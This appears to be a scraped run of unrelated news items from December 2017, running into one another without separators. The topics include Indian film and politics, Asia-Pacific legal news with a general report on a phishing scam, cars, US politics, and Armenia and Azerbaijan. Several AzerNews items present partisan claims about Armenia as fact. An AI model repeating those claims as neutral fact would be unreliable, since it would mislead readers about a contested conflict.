By India Today Web Desk: After Baahubali's phenomenal success, Tamannaah was seen in the Tamil film Anbanavan Adangadhavan Asaradhavan, starring STR, which failed to rake in profits. However, Tamannaah has been busy with her promising line-up of projects in Tamil and Telugu.

The actress is a part of the Telugu remake of Queen and has also completed the Amsterdam schedule of the film recently. The actress is in Hyderabad now, busy with her other commitments. According to the latest development, she has signed her second Tamil film with director Seenu Ramasamy, who is known for churning out village-based reality drama films.

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This film, which is said to be titled Kanne Kalai Maane, will feature Udhayanidhi Stalin as the hero. Kanne Kalai Maane is a popular song written by lyricist Kannadasan for Kamal Haasan and Balu Mahendra's cult classic flick, Moondram Pirai.

Shooting of this venture, in which Udhayanidhi is reportedly essaying the role of a farmer, will commence on January 19 in Chennai. Kanne Kalai Maane is touted to be yet another family drama with romance and comedy.

Tamannaah won critical acclaim for her performance in Seenu Ramasamy's flick Dharma Durai in 2016. She is confident that her second outing with the director would be no different.

ALSO WATCH:Baahubali 2 has more drama than Baahubali, says Tamannaah

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By PTI: Telugu Conference

Amaravati, Dec 18 (PTI) The Telugu Desam Party today criticised the Telangana government for not inviting Andhra Pradesh Chief Minister N Chandrababu Naidu for the ongoing World Telugu Conference in Hyderabad.

"It is sad that Chandrababu has not been invited to the WTC. (Telangana Chief Minister) K Chandrasekhar Rao has divided the Telugus into Andhra and Telangana-ites," TDP MLC and spokesperson Y V B Rajendra Prasad said in a statement.

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"Ignoring the legend N T Rama Rao, the pride of Telugu people, is also an insult to the entire Telugu community.

"It doesnt look like the World Telugu Conference but KCR Telugu Conference. Looks like it is organised only to showcase KCRs Telugu literary skills," he added, accusing the Telangana chief minister of insulting Andhra scholars and people. PTI DBV KRK

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Four global firms operations in Singapore hang in the balance as the city-state has decided to put off the renewal of the firms licenses pending a review.Singapore has delayed the renewal of the licenses of the second batch of Qualifying Foreign Law Practice (QFLP) firms, which were given the green light to operate in the jurisdiction in 2013 for a period of five years.The second batch  which includes Americas Gibson Dunn & Crutcher, Jones Day , and Sidley Austin, and the UKs Linklaters  has instead been granted an extension of their license up to 2020.The second batch of QFLP firms have contributed to the growth of Singapores legal sector. Collectively, they have increased their revenue from offshore work and doubled their headcount of their Singapore offices since they obtained their licences, said Singapores Ministry of Law. However, their respective performances have fallen short of the initial commitments they made in 2012, as they have all been impacted by Asian economies weaker than expected growth, drop in commodities prices and decrease in mergers and acquisitions which had resulted in weaker demand for legal services in the region in the last two years.In fiscal 2016-17, QFLP firms generated more than SG$400m in total revenue. The ministry said that about 80% of this came from offshore work.The delay will allow the country to better assess the performance in and contribution of each firm to Singapore, the ministry said. It will also allow for a more in-depth review of the firms proposals for a new license period.Introduced in 2008, the QFLP scheme aims to grow Singapores legal sector and support the growth of its key economic sectors, while increasing opportunities for Singaporean lawyers.Nine foreign firms currently hold QFLP licenses. They include Allen & Overy, Clifford Chance , Latham & Watkins, Norton Rose Fulbright , and White & Case. The firms employ more than 450 lawyers in Singapore, 30% of whom are Singapore-qualified lawyers.Under the scheme, licensed foreign firms can practice Singapore law, except in domestic litigation and general practice, which includes criminal law, retail conveyancing, family law, and administrative law. Foreign firms can field Singapore-qualified lawyers with practicing certificates or foreign lawyers with foreign practitioner certificates.
Queensland law firms have fallen victims to hackers who have cost them millions of dollars.The Queensland Law Society (QLS) has issued an urgent warning to firms, the Brisbane Times said. The attacks are what are known as social engineering hacks, where hackers manipulate targets into completing tasks for them.The precise method of attack varies, but the essence is that the criminals obtain access to the firms email accounts and use this to misdirect trust money or settlement funds. Some thefts have been of money going to the trust account, others involve money incorrectly paid out, said QLS president Christine Smyth.Both legal practitioners and clients have lost money in the scheme.Although conveyancing transactions have been hardest hit, any movement of trust funds is at risk, Smyth said.The attacks that have hit Queensland law firms have two phases. The first stage involves hackers posing as potential clients and striking conversations with lawyers and conveyancers. They then send a link to documents, which are actually phishing attempts that prompt the mark to enter their email and password for access.The hackers then monitor the email address and wait for emails about settlements and payments. The hackers gather details like deadlines and then email clients reminding them to pay, but now including details for their own accounts.They are quite cunning. They're not auto-bots, they are people who speak good English, answer in a convincing away and come with a backstory, Smyth said.She said that her firm now receives emails like this every day.It's something we talk about with staff on a daily basis, as soon as you are asked for email credentials then pull back, she said. But a smaller one-man-band firm with a junior staffer may not be so alert.
Lawyers across Asia Pacific are being warned about a fraudulent email which has already cost firms and clients significant sums.At least two law firms in Queensland have been caught out, losing millions of dollars in the process, reports the Brisbane Times.Emails appear to come from potential clients who gain the trust of law firm staff before gaining access to systems. The scammers have seemingly genuine backstories and write good English.The scam relies on convincing law firm staff to provide login details for their email accounts by sending a fake link to documents which can only be accessed by using login information.Conveyancing transactions have been the hardest hit but any movement of trust funds is at risk, the Queensland Law Society says.The New Zealand Law Society says that it believes firms in the country have also been targeted.Teams from global and national law firms have advised on the $11 billion Metro Tunnel public-private partnership in Victoria.Its the biggest public transport project ever for Victoria and is the largest enhancement for Melbournes CBD rail network since the City Loop was built 30 years ago.A team from Herbert Smith Freehills advised the Victorian Governments Metro Rail Authority on the request for tender process and contract documentation.Project Delivery partners Erin Wyeth and Jim Theodore led the multi-practice team which also included partners David Sinn, Miles Wadley, Heidi Astenand and Steve Bell.White & Case were also advisers to the Metro Rail Authority, MinterEllison advised the Cross Yarra Partnership and Norton Rose Fulbright advised the design and construction joint venture and the maintenance subcontractor. Allens was also involved, advising the financiers to the Cross Yarra Partnership, with a team led by partners David Donnelly and Michael Ryan.'We are extremely proud to have supported the financiers and Cross Yarra Partnership on what will be a transformational project for the City of Melbourne and the largest rail infrastructure project in Australia for decades. It is a great example of the continued strength and depth of the project finance market in Australia that such a large and diverse group of institutions have supported this landmark project,' said Michael Ryan, Allens Head of Project Finance.Damien Whitehead has joined Ashurst in Hong Kong as a partner in its finance practice.He joins from White & Case. He was previously with Herbert Smith Freehills as head of the firms Greater China restructuring and insolvency team.Whitehead has almost two decades of experience in his sector and has worked in Australia and London as well as Asia.
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The third and final assembly plant to handle production of the Leaf is Nissans started production of the first-generation model in 2013, and over the years, Nissan built here the likes of the Juke, Qashqai, Infiniti Q30, and QX30. As for when European customers can expect to receive their all-new Leaf hatchbacks, first deliveries are scheduled for February 2018.Since the original went on sale in the Old Continent, Nissan managed to sell 85,000 examples of the electrified model in this part of the world. And with each and every year that passes, its becoming increasingly clear that more buyers share Nissans vision for the future of personal transporation.A sizable improvement over the first-generation Leaf, the newcomer is rated 378 kilometers () on a full charge. Compatible with Europes CHAdeMO charging network, the Leaf can also be used as a long-distance cruiser with a little bit of planning before you hop into the drivers seat.For those suffering from range anxiety, yours truly included, Nissan will offer an optional battery in 2018, sporting a capacity of 60. According to Nissans executive VP of global sales and market, the Leaf with the bigger battery should be able to get more than 225 miles (EPA) on a full charge, which is worrying for Tesla and the base Model 3 variant.Theres even a little bit of visual zest coming to the Leaf in the not-too-distant future, courtesy of the Leaf NISMO Concept presented at the 2017 Tokyo Motor Show. Despite the go-faster looks and slight improvements in performance, the NISMO will retain the torsion beam rear suspension of the regular Leaf, which isnt the best of setups if youre into sporty driving.
It was a breakthrough for eco-friendly vehicles, the sort of car that made hybridization accessible to the general public. The second-generation Insight didnt live up to the hype of the original, with Honda discontinuing the follow-up model in 2014. The Insight name, however, will soldier on.Confirmed to make an appearance at the 2018 Detroit Auto Show in the guise of a prototype, the 2019 Honda Insight is surprisingly pretty. Civic influences up front and spot-on proportions towards the rear, the third-generation Insight is far more attractive than the Gen 2. A whole lot more.Positioned above the Civic in Honda s U.S. lineup, the all-new Insight is described as upscale by its maker and promises best-in-class performance. Those are incredibly big claims from an automaker that lost its mojo to Toyota as far as hybridization is concerned, but then again, bear in mind that Honda poured millions upon millions of green dollar bills in hybrid, plug-in, and electric vehicle research in the past years. The Insight will become the fifth electrified vehicle brought by Honda to the North American market over the past year. Itll launch in the second half of 2018 for the 2019 model year, and its the next step in the companys Electrification Initiative. The plans bottom line is to make two-thirds of Hondas global vehicle sales electrified by the year 2030.Confirmed to go into production in Greensburg, Indiana, alongside the Civic and CR-V, the Insight will join the Clarity family (Fuel Cell, Electric, and Plug-In Hybrid) and the Accord Hybrid . As we wait for Honda to release preliminary specifications, its all but confirmed the Insight will utilize the latest generation of the automakers two-motor hybrid system.
Congressman Mark DeSaulnier is pushing to get cockpit voice recorder (CVR) data saved after a string of air carrier close calls at SFO this year. From a public safety perspective, this is unacceptable, and I am concerned that we are missing opportunities to learn from all of the facts when safety issues arise, DeSaulnier wrote to FAA Administrator Michael Huerta last month. DeSaulniers district is close to San Francisco International, where an Air Canada A320 on approach to 28R lined up on a parallel taxiway in July. The A320s landing gear narrowly missed several full aircraft parked on the taxiway awaiting takeoff. Another Air Canada jet missed repeated calls from the tower to go around at San Francisco in October. In both cases, CVR data was not required to be preserved, leaving commentators and policymakers to speculate about the relative contributions of fatigue, non-sterile cockpits and other factors.

One problem is implementation. The NTSB would either have to change the scope of reportable events or increase the amount of data that cockpit voice recorders are required to store well beyond the current two hours. We believe that we get all the information that we need when its reportable. We dont think anything else needs to be done than what is currently being done, NTSB spokesman Keith Holloway told the San Jose Mercury News. While recording audio is much cheaper now than when CVRs were first required to be installed in air carrier aircraft, the durability standards still make CVRs an expensive piece of equipment. CVRs and flight data recorders are required by to survive a 1,100C flame for at least 30 minutes and a 3,400-G acceleration.
The use of wearable devices in China is set to overtake the U.S. market this year, with more than 21% of adults internet users in China (144.3 million people) wearing a connected device at least once a month, according to eMarketer's wearables forecast. In the U.S., 20.4% of adult users wear a connected device.

What to watch: The Chinese wearable technology market has seen sharp growth over the last few years, most recently driven by inexpensive fitness trackers, like the Mi Band, as well as the Apple Watch among middle class consumers. By 2021, eMarketer predicts that almost 25% of adult internet users in China will use a wearable device regularly.
Jacob Oster, a lobbyist working on behalf of Amazon, has registered with the state ethics commission in Georgia, which is courting Amazon to build its second headquarters  dubbed "HQ2"  in the state, the Atlanta Journal-Constitution reports.

The backdrop: Georgia is home to the corporate hub of Amazon Web Services and the tech giant is already a big-time employer in the state. But Oster's registration has generated buzz about whether "HQ2" could end up in Georgia. "Amazon's public policy team works on a variety of issues on behalf of our customers in cities and states across the country. This work is ongoing and not related to our search for HQ2," a spokesperson for the company told Axios.

Go deeper: Here's how cities are trying to lure Amazon.
Democrat Shelly Simonds took the Virginia House of Delegates seat Tuesday from Republican David Yancey after a recount had her in the lead by a single vote, reports the Washington Post. A three-judge panel still has to certify the results, but if approved, her victory will bring the 51-49 GOP majority to a rare 50-50 split.

Why it matters: There is no mechanism in the House of Delegates to break ties, so any legislation that doesn't get 51 votes will die. And with just a single vote, the entire state House control flipped to Democrats.

By the numbers:

23,866 votes were cast in the Newport News district on Election Day, and just one vote tipped the scale in Simonds' favor.

Yancey had only a 10-vote lead heading into the recount today.

The final numbers: 11,608 for Simonds; 11,607 for Yancey.

Forward Majority was the largest outside donor in this race, contributing $46,375 to Simond's race. The group is a super PAC that launched in September to help Democrats regain some of the nearly 1,000 state legislature seats they've lost to Republicans in the past decade, and this Virginia House race is another example of the group's ability to influence local races."Come 2018, Forward Majority will continue to take on entrenched Republican incumbents like Mr. Yancey in state legislatures across the country," said the group's executive director, David Cohen.
By PTI: New Delhi, Dec 19 (PTI) India said today that its level of engagement with ASEAN was determined by the opportunities of cooperation and not influenced by any third country, an apparent reference to China.

Ministry of External Affairs spokesperson Raveesh Kumar said Myanmar acts as a bridge with ASEAN countries which is why India has initiated the Kaladan Multi-Modal Transit Transport Project that includes the India-Myanmar-Thailand tri-lateral highway.

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This project will greatly benefit Indian farmers and traders to sell their products in Southeast Asian countries.

Responding to a question on how can India help ASEAN countries counter China in South China Sea, Kumar said, "We do not come to their help because of someone else."

"Similarly, when India and ASEAN come together for cooperation it is because there is lot to cooperate. It is not because of any third country." he said, without naming China.

Kumar said India supports countries to have dialogue with each other to solve any problem, a comment seen as a reference to the South China Sea where ASEAN countries like Brunei, Vietnam and the Philippines are embroiled in a dispute with China.

He made the remarks while responding to question during the social media interactive session #AsktheSpokesperson: India-ASEAN Commemorative Summit.

Kumar said that India and ASEAN are working to make the visa process for its citizens simpler.

"India will also launch 11 stamps in the coming days, commerating 25 years of relations between India and ASEAN," he said.

Leaders of ASEAN countries will be the guest for the Republic Day Parade next year.

The Association of Southeast Asian Nations (ASEAN) is a regional organisation comprising ten Southeast Asian states.

It is comprised of Indonesia, Malaysia, the Philippines, Singapore and Thailand, Brunei, Cambodia, Laos, Myanmar and Vietnam. PTI PR ASK ASK

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House Republicans are preparing a disaster aid package of $81 billion, almost double the White House request, Politico reports, calling the proposal "staggering."

Why it matters: This proposal would be the biggest single package for disaster relief in U.S. history, Politico reports, and would bring total disaster aid spending for calamities this year to more than $130 billion.
Members of Special Counsel Robert Mueller's team say the Russia probe will at least continue through 2018, the Washington Post reports.

Why it matters: White House lawyers had said the probe would be complete this year. When they meet with Mueller's team this week, the Post reports they hope to hear that the probe is wrapping up and shifting focus away from President Trump. As the investigation continues into the new year, tensions are building between the administration and Mueller's office.
President Trump was so angry at Neil Gorsuch's criticism that he threatened to rescind Gorsuch's nomination to the Supreme Court, the Washington Post reports, citing 11 people familiar with the episode. Trump was reportedly furious about Gorsuch telling a Democratic senator that Trump's attacks on the federal judiciary were "disheartening" and "demoralizing."

Why it matters: The Post reports it's "unclear" whether Trump would actually go through on his threat to scuttle the nomination but some Republicans in Congress and the administration "feared that Gorsuch's confirmation  which had been shaping up to be one of the clearest triumph's of Trump's tumultuous young presidency  was on the verge of going awry."
A U.S.-British company said on Monday that it expects to finish next year the ongoing construction of a massive gold mine in Armenia that will sharply increase the countrys gold exports.

The company, Lydian International, started building its gold mining and smelting facilities at the Amulsar deposit in the southeastern Vayots Dzor province in August 2016 after years of preparation and a licensing process administered by the Armenian government. It has since hired more than 1,000 Armenian workers for the construction which it says will cost $370 million in investments.

We are constructing the mine and we are about half way through the construction, Howard Stevenson, Lydians chairman and chief executive, told RFE/RLs Armenian service (Azatutyun.am) in an interview.

Stevenson said the company has already become Armenias 19th largest corporate taxpayer. Amulsars success will also be a success for Armenia because our positive economic impact on this country will be significant, he said.

Hayk Aloyan, the executive director of Lydians Armenian subsidiary, said last month that the company plans to produce 210,000 ounces of gold annually, which will be worth over $260 million at current international prices.

According to government statistics, Armenia exported around $100 million worth of gold in 2015. The bulk of that export revenue, equivalent to 6.5 percent of overall Armenian exports, was generated by a Russian company operating big gold mines at Sotk, eastern Armenia. The company, GeoProMining, also owns a gold processing plant in Ararat, a small town 50 kilometers southeast of Yerevan.

The Armenian government gave the green light for the Amulsar project despite strong opposition from local environment protection groups which say that it poses a serious threat to the local ecosystem and livelihoods of farmers living in nearby villages. They also point to the gold deposits proximity to Jermuk, the countrys most famous spa resort.

Stevenson, whose company is registered in a British tax haven but headquartered in the U.S. state of Colorado, sought to allay those fears. He insisted that the forthcoming mining operation is a zero emissions project that will use advanced technology and meet environmental standards. Our project will have no impact on water resources in the area and on Jermuk as well, he said.

Stevenson also ruled out any potential impact on Armenias ecologically vital Lake Sevan which is fed by one of the rivers flowing through Vayots Dzor. There is no risk that even if we have an industrial accident we would impact Lake Sevan, he said.

Levon Galstian, one of the environmentalists fiercely resisting the project, dismissed these assurances. He insisted that with the kind of technology that it is planning to use Lydian cannot guard against contamination of soil and water with toxic waste from the Amulsar mine. That will put Jermuks famed resorts and mineral water industry at serious risk, Galstian told RFE/RLs Armenian service (Azatuyun.am).

The U.S. and British governments strongly support the Amulsar project. The U.S. ambassador to Armenia, Richard Mills, said earlier this year that it has been deemed fully compliant with environment protection standards set by the World Bank and the European Bank for Reconstruction and Development (EBRD).

A senior EBRD executive said in August 2016 that that Lydian has committed itself to meeting the strictest environmental conditions set by the London-based lending institution.
19 December 2017 10:05 (UTC+04:00)

By Trend

Over the past 24 hours, Armenias armed forces have 132 times violated the ceasefire along the line of contact between Azerbaijani and Armenian troops, the Azerbaijani Defense Ministry said on December 19.

Armenians were using large-caliber machine guns.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

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Follow us on Twitter @AzerNewsAz
19 December 2017 17:36 (UTC+04:00)

By Rashid Shirinov

The confrontation between students and the country's authorities was among the most memorable events in Armenia in the past month. Now it seems that the standoff is not over yet as it has got a second wind.

After demonstration of a constructive position and ineffectiveness of discussions with state bodies, the For Science Development initiative has no choice but to consider discussions with the authorities complete and continue the struggle from the point where it was stopped, David Petrosyan, member of the student initiative For Science Development, wrote on his Facebook page on December 18.

The thing is that under the law, adopted last month in Armenia, a male student desiring to continue his education and delay serving in the army, must sign a contract with the Defense Ministry in order to get a draft deferment. In this case, the person will have to serve three instead of usual two years in the military after completing his studies at the location chosen by the ministry. Moreover, during his study period the student will have to undergo military training.

Armenian students held a week-long boycott of classes and a hunger strike at the Yerevan State University in November, but then stopped them after the country authorities agreed to listen to the students demands. However, it seems that the two opposing sides could not find a common language.

Our struggle stopped during the hunger strike. Now we are launching a hunger strike again and we will stop it only if our demands are met, Petrosyan noted.

The initiative members demand the right to defer military service to remain in the form in which it was earlier, before applying changes to the law On military service and the status of serviceman. They recognize that the current institution of military service deferment needs revision and conversion, but this should be done not through abolition of the right to defer military service, but through the necessary reforms in education and science as well as anti-corruption fight.

The Defense Ministry does not recognize the negative impact of the law on science and the importance of the deferment right for the development of science. We did not notice tangible results in our work with MPs and Defense Ministry officials, Petrosyan stated. These negotiations are conducted not to find solutions, but only to be conducted. In such circumstances, it makes no sense to continue negotiations.

It should be noted that by adopting the controversial law, the ruling regime in Armenia has taken another step towards the militarization of its society. Currently, Armenia is the third most militarized country in the world, and it seems that the countrys government seeks to advance to the first place in this ranking.

How the standoff between Armenian students and government ends up remains to be seen.

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Rashid Shirinov is AzerNews staff journalist, follow him on Twitter: @RashidShirinov

Follow us on Twitter @AzerNewsAz
19 December 2017 15:50 (UTC+04:00)

By Rashid Shirinov

After the collapse of the USSR in 1990s, a certain resettlement of people took place in most of its former republics. As for Armenia, the countrys nationalists began implementing their big dream of getting rid of other peoples in the territory of Armenia.

Armenia is for Armenians  this is the very slogan that the countrys government has been idolizing for many years. Along with expelling Azerbaijanis from their native lands of the modern Armenia, the country started losing other nations, including Russians.

Based on the 1989 census, Russians in Armenia were accounting for 1.6 percent of the population  51,555 people, KavkazPlus publication notes. However, by 2001, the number of Russians declined catastrophically  by more than 3.3 times to 14,660 people. This descending trend continues to this day, since according to the 2011 census, there are only 11,911 Russians left in Armenia  this is by almost five times less than in 1989.

The interesting thing is that only a small portion of these people is really Russians. Some Armenians get registered as Russians, and there are a number of reasons for that.

Under the Russophobic law On language, adopted in Armenia in 1993, all paperwork and education in the country was transformed into Armenian language. Thus, Russian departments in technical schools and universities were closed, and many qualified Russian-speaking specialists had to leave Armenia.

Today, there are only 40 secondary schools with classes in Russian language left in Armenia, where, according to the law On Language, only children of ethnic Russians, Russian citizens and children from mixed marriages can study.

Meanwhile, the quality of education in the schools with classes in Armenian language is at an extremely low level. Armenians themselves complain that having such education, it is impossible to find a normal job outside Armenia. Therefore, in order to give children education in Russian, Armenian parents often deliberately register them as Russians, even if they have a scanty part of Russian blood in their bloodline.

Also, many Armenians working at representative offices of Russian companies as well as those serving at the Russian military base in Gyumri city get registered as Russians in order to ease their going to Russia and settling there.

Thus, the figure of allegedly 11,911 Russians living in Armenia appears in this way. As for the real Russians living in the country, their number barely reaches 2,000 people.

Meanwhile, Russians are considered to be among the most numerous minorities in Armenia. That is, the number of people of other nations in this country is even less. Given the nationalistic policy the Armenian authorities have been pursuing in the country since its gaining of independence, it is no surprise that the population of todays Armenia almost entirely, by about 98 percent, consists of Armenians.

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Rashid Shirinov is AzerNews staff journalist, follow him on Twitter: @RashidShirinov

Follow us on Twitter @AzerNewsAz
19 December 2017 10:34 (UTC+04:00)

By Azer Ahmadbayli/ Trend

Ports of the Caspian basin have good prospects to increase their turnover in a short time.

Commissioning of the Baku-Tbilisi-Kars railway that took place in October makes way for the Chinese and Central Asian goods to be delivered across the Caspian Sea to Europe.

The North-South project - another transport route from India through Iran to Russia and North East Europe - can also contribute. In March of 2018 at the forthcoming summit in Kazakhstan it is expected to sign the final agreement on the legal status of the Caspian Sea. All these factors will help intensify the trade between the coastal states.

In the meantime, within the first six months of the current year most of the Caspian ports showed decrease in their total freight turnover.

Irans major ports

Port Amirabad: total turnover in January-June 2017 accounted for 1.24 million tons (40,000 tons more as compared to 1H2016), from which 24,000 tons fell on oil and oil products, whereas 1.216 million tons accounted for non-oil products, according to Irans Port and Maritime Organization.

Last Iranian fiscal year (March 2016-March 2017) total turnover of the port accounted for nearly 2.22 million tons.

Port Anzali: total turnover for the six months of 2017 amounted to 1.1 million tons (377,000 tons less than in 1H2016), from which 62,000 tons fell on oil and oil products, whereas about 1.04 million tons t0 non-oil products.

Last Iranian fiscal year the ports total turnover made more than 2.86 million tons.

Port Noshahr: total turnover for the six months of 2017 made 257,000 tons (184,000 tons less, compared to 1H2016), which entirely accounted for non-oil cargoes.

Further, 688,386 tons of cargo was transshipped by the port within last year.

Non-oil products accounted for staple food, metals, minerals, construction materials, and textile products.

Russias ports

In the Russian seaports of the Caspian basin 1.7 million tons of cargo was handled during the first half of the current year. Freight turnover of non-oil goods made 1.2 million tons while oil/oil products accounted for 0.5 million tons.

The volume of transshipment in port of Makhachkala reached 0.5 million tons (64,5% decrease compared to 1H2016), in port of Astrakhan 1.0 million tons (decrease of 10,5%), and in port of Olya  85,500 tons (decrease of 4,7%).

According to statistics from the Association of sea trade ports of Russia, since the beginning of the current year the cargo turnover in the Caspian basin amounted to 1220 TEU.

In 2016 total turnover in the Russian Caspian ports made 6.1 million tons, including 3.3 million for port Makhachkala, 2.6 million for port Astrakhan and 0.2 million for port Olya.

Grain, ferrous metals, timber, non-bulk commodities constitute the basis of non-oil cargoes loaded in the Russian ports.

Port of Baku (Azerbaijan)

The freight turnover at Baku port in the first half of 2017 made 1.9 million tons (growth by 43,5% comparing to 1H2016) excluding oil and oil products. Some 89% of all cargo transportation fell on transit goods.

During the reporting period, the highest growth was observed in transshipment of large-sized vehicles (TIR), including trailers, and other vehicles.

In January-June 2017 transportation of TIR vehicles on the Baku-Turkmenbashi-Baku route totaled 10,154 units, and in direction of Baku-Aktau-Baku it amounted to 6,050 units.

In the first half of 2017, the ports main cargo terminal handled 290,000 tons of cargo, most of which accounted for transit TEU containers.

Within the period, the ports ferry terminal processed 21,775 wagons, including 10,041 on the Baku-Turkmenbashi-Baku route, 5,773 on the Baku-Aktau-Baku route and 5,961 in direction of Baku-Kuryk-Baku.

Passenger transportation through the port for both directions (Turkmenistan and Kazakhstan) totaled 14,478 people.

4.5 million ton of cargo was transshipped by the port of Baku in 2016.

Regretfully, lack of official data from disclosed sources for ports of Kazakhstan and Turkmenistan makes it hard to highlight their activities.

The chart below gives a relative account (insight) of activities in the main Caspian ports:

Share of vessels by type, arrival and departure within 30 days (%)

Source: Marine Traffic

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19 December 2017 11:45 (UTC+04:00)

By Aygul Salmanova

Ganja Automobile Plant (GAP), which ranks among majors of the automotive industry in Azerbaijan and Czech automobile company Tatra signed a memorandum at the embassy of the Czech.

Ambassador of Azerbaijan to Czech Republic Farid Shafiyev, representatives of the Azerbaijani-European Chamber of Commerce and the press attended the memorandum.

The Czech Republic said in a message that Azerbaijan will launch the production of Tatra trucks from 2018.

A memorandum was signed between Ganja Automobile Plant production association and Tatra company at the embassy of the Czech Republic in Azerbaijan.

The document was signed by head of Ganja Automobile Plant Khanlar Fatiyev and chairman of Tatra board Petr Rusek.

Speaking at the event, Shafiyev praised Tatra's entry into the industrial sector of Azerbaijan as a significant event and the Czech company's trusr in the Ganja automobile plant is praiseworthy.

The ambassador also said that the signing of the memorandum would contribute to the non-oil sector of Azerbaijan.

Starting in 2018, production of various models of Tatra trucks will begin in Azerbaijan, according to the agreement.

The foundation of the Ganja Automobile Plant was laid in 1986. The production capacity of the plant was calculated for the production of 30,000 vehicles of medium tonnage.

The construction of the plant was to be completed by the end of 1989, according to the project. However, as a result of the collapse of the USSR, the construction of the plant was stopped. Only after Azerbaijan gained independence, the government of the country took up the issue of continuing construction of the plant. And in December 2004 the Ganja Automobile Plant started its activity.

The plant currently assembles Belarus tractors and MAZ, KAMAZ and Ural cars.

Being located in Azerbaijan's second largest city Ganja Automobile Plant is capable of assembling up to 1,000 trucks and 2,000 tractors each year.

In addition to tractors and cars, the Plant manufactures various attachments for Belarus. The equipment manufactured at the enterprise is issued with a guarantee for one year, as well as its high-quality service in all regions of the country.

Azerbaijan, is currently working to develop its car manufacturing industry and encouraging interior purchases within the country.

The country now also plans to arrange assembly of tractors produced by the Chinese YTO Group Corporation, which is stipulated by the agreement signed between the Food Products' Procurement and Supply OJSC, the YTO Group Corporation and Aqrofun LLC.

Moreover, joint Azerbaijani-Iranian automobile plant, being built in the Neftchala Industrial District can produce buses.

The annual production capacity of the Azerbaijani-Iranian automobile factory Azermash OJSC, being built in Neftchala, will amount to 10,000 cars per year. Some 20 percent of the vehicles will be exported to CIS and Central Asian countries. The price of new cars will be 10,000-12,000 manats ($5,800-7,000), adding that the cars produced at the plant will meet Euro 5 standard.

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19 December 2017 17:39 (UTC+04:00)

By Rashid Shirinov

The trade turnover between Azerbaijan and the Czech Republic is growing rapidly, Jan Jindrich, secretary for economic and commercial affairs at the Embassy of the Czech Republic in Azerbaijan, said on December 19.

The trade turnover between the two countries increased by more than 100 percent in January-October 2017 as compared to the same period of the previous year, noted Jindrich at a press conference dedicated to the results of the Azerbaijani-Czech relations in 2017.

He specified that Azerbaijan-Czech Republic trade turnover reached $924 million in ten months of this year. As many as $846 million accounted for the export of Azerbaijani products, while the import of Czech products to Azerbaijan totaled $78 million.

Jindrich noted that according to the Statistics Committee of the Czech Republic, the country is the seventh biggest partner of Azerbaijan in terms of exports and 15th in terms of imports.

The main product exported from Azerbaijan to the Czech Republic is crude oil, the volume of which totals 2-2.5 million tons per year, and makes up a third of the oil consumed in the Czech Republic, the secretary added.

Jindrich further pointed out that supplies from Azerbaijan have a strong impact on the energy security of his country, and at the same time, Azerbaijan is an attractive country for Czech investors.

Over the past ten years, Czech banks, both public and private, invested more than $2 billion in the Azerbaijani economy, which includes the Czech Republic in the list of the top 10 investors in the economy of Azerbaijan, he noted.

Vitezslav Pivonka, Ambassador of the Czech Republic to Azerbaijan, who also addressed the event in Baku, said that direct flights may be launched between the countries.

Previously, there were direct flights between our countries, which were suspended for a number of reasons, the main one of which I consider the economic one, because flights are also business, said the ambassador. However, negotiations on this issue are underway between our airlines, and I hope that this inconvenience will be eliminated soon.

Currently, flights between Azerbaijan and the Czech Republic are carried out with a transfer in Istanbul.

Pivonka also noted that Czech-made Tatra trucks, which are planned to be assembled in Azerbaijan, will be exported to foreign markets.

We do not have detailed information about the volume of production, but we can say that Czech producers have arrived in Ganja, and negotiations are already underway to assemble Tatra trucks in Azerbaijan, and production volumes will be calculated not only for the domestic market of Azerbaijan, said the diplomat.

He also noted that 500 Tatra trucks and 1,000 Skoda cars entered the Azerbaijani market and these figures will continue to grow in the future.

Ganja Automobile Plant, which ranks among majors of the automotive industry in Azerbaijan and Tatra signed a memorandum at the Czech Embassy in Azerbaijan on December 18. Production of various models of Tatra trucks will begin in Azerbaijan from next year, according to the agreement.

Consul of the Czech Embassy Josef Bohac, in turn, noted that his country is increasing the issuance of long-term visas for Azerbaijani citizens.

Our goal is to attract Azerbaijani tourists to the Czech Republic, in particular to the Czech resorts, he said, noting that last year, the number of tourist Schengen visas issued to Azerbaijani citizens to visit the country decreased to 6,500 compared to 8,000 visas issued in 2015.

Bohac added that this year, a little more than 5,000 visas were issued to Azerbaijani citizens, which is a downward tendency in the number of Azerbaijani tourists arriving in the Czech Republic.

Despite the decrease in the number of issued tourist visas, the number of visas issued to Azerbaijani citizens for long-term stay in the Czech Republic is increasing.

We issued more than 120 long-term visas to Azerbaijani citizens in 2017, which testifies to Azerbaijani citizens great interest in obtaining long-term visas to the Czech Republic, the consul said.

He further noted that the number of Czech tourists visiting Azerbaijan is also increasing, and added that the embassies of both countries and relevant organizations are working to increase the current figures in this sphere.

The diplomatic relations between Azerbaijan and the Czech Republic were established in January 1993. Today, Azerbaijan significantly increases the energy security of the Czech Republic since the national oil provides a third of the annual consumption of the country. Therefore, Azerbaijan, which has made a significant contribution to the diversification of Czech energy resources, has become an important strategic partner of this European country.

Czech entrepreneurs, in turn, play active role in Azerbaijans economy, investing about $1.3 billion so far. Czech companies as contractors are involved in various projects in the country, totaling $16 billion.

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Rashid Shirinov is AzerNews staff journalist, follow him on Twitter: @RashidShirinov

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By PTI: Srinagar, Dec 19 (PTI) Two Jaish-e-Mohammad terrorists were gunned down by security forces in an overnight encounter in the Shopian district of Jammu and Kashmir while a woman also died after getting hit in the crossfire, police said today.

According to a police spokesperson, the slain militants were involved in several terror incidents including an attack on the vehicle of Jammu and Kashmir Bank near Poju in Shopian on December 11 in which two guards were killed.

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Security forces launched a cordon and search operation in the Wanipora area of Shopian last evening following information about the presence of militants in the area, a police official said.

The search operation turned into an encounter as militants opened fire, he added.

"Two militants were killed while a third apparently managed to escape from the spot," the official said.

He said that a lady was injured during the exchange of fire. She was shifted to a hospital but succumbed to her injuries.

Some miscreants pelted stones at security forces during the operation, prompting the use of crowd control weapons including tear gas to disperse them, he said.

People should refrain from going near the encounter site as the area has not yet been sanitised, the official added.

Meanwhile, a police spokesman said two security personnel -- one from the Army and a policeman -- were injured during the operation.

Giving details , the spokesman said during the encounter, at the request of his family, police officials made repeated announcements asking local militant Tanveer Ahmad to surrender but he ignored the offer.

